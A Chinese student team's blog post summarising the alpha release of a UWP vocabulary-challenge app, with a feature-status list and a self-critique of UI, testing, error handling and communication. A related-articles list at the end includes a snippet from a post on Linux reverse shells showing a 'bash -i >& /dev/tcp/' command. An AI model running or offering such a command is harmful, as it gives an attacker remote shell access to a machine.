因组员一周来事情较多,因此博客更新停滞了一个星期。这周我们已经开始了第二个release的相关工作,首先先对上一个release的工作进行简短总结。

团队在上个星期进行了alpha-release版本的发布。感谢课堂上秋风老师和Pre-PhD班同学的建议,同样感谢Travis和biran同学的帮助和建议。

首先对第一个release中的feature及完成情况进行总结

Planned Features

Result

Select   mode

Done(but removed by BingDict Design)

Get and select question pool

Done(but removed by BingDict Design)

Start from recite page

Done

Get question and start challenge

Done

Click and go to next question

Done

Click and change color

Done

Calculate time and score

Done

Get result information back

Done

Storage   Hierarchy

Done

Cancel and Check in

Done

Planned Features

Result

Show Result information

Done(but need to be optimized)

Show wrong question

Done

Add to vocabulary list

Done

Add to vocabulary list by one-click

Moved   to next sprint

Right   answer: Green. Wrong answer: Red

Done

Show   Timer

Partly Done(removed in   this release, may   be added next release )

Share on social network

Moved to next sprint

   
   
   

Sprint 3 - overview:

Sprint 4 - overview:

在四周的第一个sprint中,团队在前两周遇到了一些困难,主要原因在对于UWP框架和C#的不熟悉,并且每位组员自己组里中工作也比较多,一开始都没有调整过来,无论是时间和精力付出上都不够充分,导致前两周的进度缓慢。后两周大家经历了前两周的学习和调整,逐渐能够合理安排时间,效率也有大幅提高。

当然我们自己总结项目中也还有很大的问题:

1.UI设计不成熟。非常不成熟,现阶段还是像一个本科生的学生作业,离产品的目标差距还很远,因此第二个release的首要目标就是优化UI和代码风格,并不要求再增加太多feature,重要的是把现有的feature尽量做到产品的级别。

2.测试不规范,不完备。例如很多API的测试,storage 的测试我们只是手动模拟了几种情况。

3.异常处理没有完成,比如没有网络无法返回API结果的情况下并没有做任何信息显示。

4.团队的沟通交流,组员确实有时会遇到无法全员参加daily scrum。之后我们将做到至少PM跟组员每天有一次当面沟通。

在第一个release后,PM在上周五与Travis和biran进行了一次沟通,本周一和周三也进行了两次daily scrum对下一个release做了讨论和计划。

下一篇博客我们会针对秋风老师和Travis的建议和要求贴出我们下一个release的计划和要达到的目标。

Alpha-release 总结的更多相关文章

  1. Performance standard (ALPHA release) 12/17/2015

    ===================ALPHA RELEASE STANDARD====================== 1. Parallel performance test: The Nu ...

  2. 最后の冲刺 for Alpha release 12/15/2015

    好开心啊,又吃成长快乐了~ 据说release前一天,团队的工作效率会达到顶峰.亲证无效!!! release当天才是团队智力效力能力的巅峰好不好?!因为,今天,plan B:福昕pdf reader ...

  3. Alpha Release Note 12/15/2015

    内容提要: ******Personal Photo Experience可供您存放所有的私人照片,系统会自动整理内容,您可以借助搜索功能快速找到所需图片,同时过滤重复图片和低质量图片,给您全新的搜索 ...

  4. Feature list, Standard and Test plan for BETA Release 12/22/2015

    ===================BETA RELEASE FEATRURE LIST==================== 1. Log in and account manager for ...

  5. Linux下反弹shell的种种方式

    [前言:在乌云社区看到反弹shell的几种姿势,看过之余自己还收集了一些,动手试了下,仅供参考] 0x01 Bash bash -i >& /dev/tcp/ >& 这里s ...

  6. protobuf中文教程(第一篇)

    声明:本文大部分内容翻译自官方英文文档,其中可能穿插着加入自己的语言用以辅助理解,本文禁止转载. 一.什么是protocol buffers Protocol buffers是一个灵活的.高效的.自动 ...

  7. 团队作业week9 scenario testing

    1.How do you expect different personas to use your software? What’s their need and their goals,  how ...

  8. CoreOS Architecture Learning

    目录 . CoreOS简介 . CoreOS部署.安装.使用 . CoreOS命令使用 1. CoreOS简介 0x1: CoreOS和Docker的关系 我们先来看一张Docker的架构图

  9. 关于Qt

    什么是Qt Qt是一个针对桌面.嵌入式.移动设备的一个跨平台的应用程序开发框架,支持的平台包括Linux.OS X.Windows.VxWorks.QNX.Android.iOS.BlackBerry ...

  10. 【Qt】关于Qt【转】

    什么是Qt Qt是一个针对桌面.嵌入式.移动设备的一个跨平台的应用程序开发框架,支持的平台包括Linux.OS X.Windows.VxWorks.QNX.Android.iOS.BlackBerry ...

随机推荐

  1. c++动态内存知识总结与疑问

    书名  BOOK TITLE <Primer c++  第5版> 基本信息 BASICS 阅读进度:第12章动态内存 阅读心得 LEARNINGS 在c++中,我知道的有静态内存.栈内存. ...

  2. MFC之创建多级动态菜单

    一开始以我是这样做的,结果是错误的: 这段代码第一次点击时,会在第6个位置创建MFC菜单,我本以为再次点击,menu->GetSubMenu(5)返回的值就不会为空了,但事实是它返回了NULL, ...

  3. TensorFlow 训练好模型参数的保存和恢复代码

    TensorFlow 训练好模型参数的保存和恢复代码,之前就在想模型不应该每次要个结果都要重新训练一遍吧,应该训练一次就可以一直使用吧. TensorFlow 提供了 Saver 类,可以进行保存和恢 ...

  4. 干货 | 近期热点机器学习git项目

    No1:PyTorchImplementation of DeepMind's BigGAN(https://github.com/huggingface/pytorch-pretrained-Big ...

  5. 移植OPENNI到DM6446上面

    为了利用摄像头的景深信息,同时利用dm6446的分析功能(dsp),对openNI进行USB移植. 下载:libusb-1.0.0.tar.bz2            OpenNI-Stable-1 ...

  6. 【API知识】SpringBoot项目中@EnableXXX的原理

    @EnableXX注解的使用场景 SpringBoot为开发人员提供了很多便利,例如如果想要定时功能,只要添加@EnableSchedule,即可配合@Schedule注解实现定时任务功能,不需要额外 ...

  7. 无法像程序语言那样写SQL查询语句,提示“数据库中已存在名为 '#temp1' 的对象。”

    if exists( select exp_count from tbl_expend where exp_valid ),exp_date,) ),) ) begin select exp_coun ...

  8. ANTLR随笔(三)

    ANTLR基本语法 前面已经简单介绍了ANTLR以及怎么安装和测试. 同学们应该大概清楚ANTLR的使用场景,但是对于关键步骤,怎么编写一个语法文件并没有详细介绍,这篇笔记主要详细讲解一下ANTLR的 ...

  9. Centos装机预备技能

                                                               装机预备技能 1.1问题 本例要求安装一台可用的KVM服务器: RHEL与Cent ...

  10. python socket简介

    一.socket是什么 socket是应用层与TCP/IP协议通信的中间软件抽象层,它是一组接口.在设计模式中,socket其实就是一个门面模式,它把复杂的TCP/IP协议隐藏在socket接口后面, ...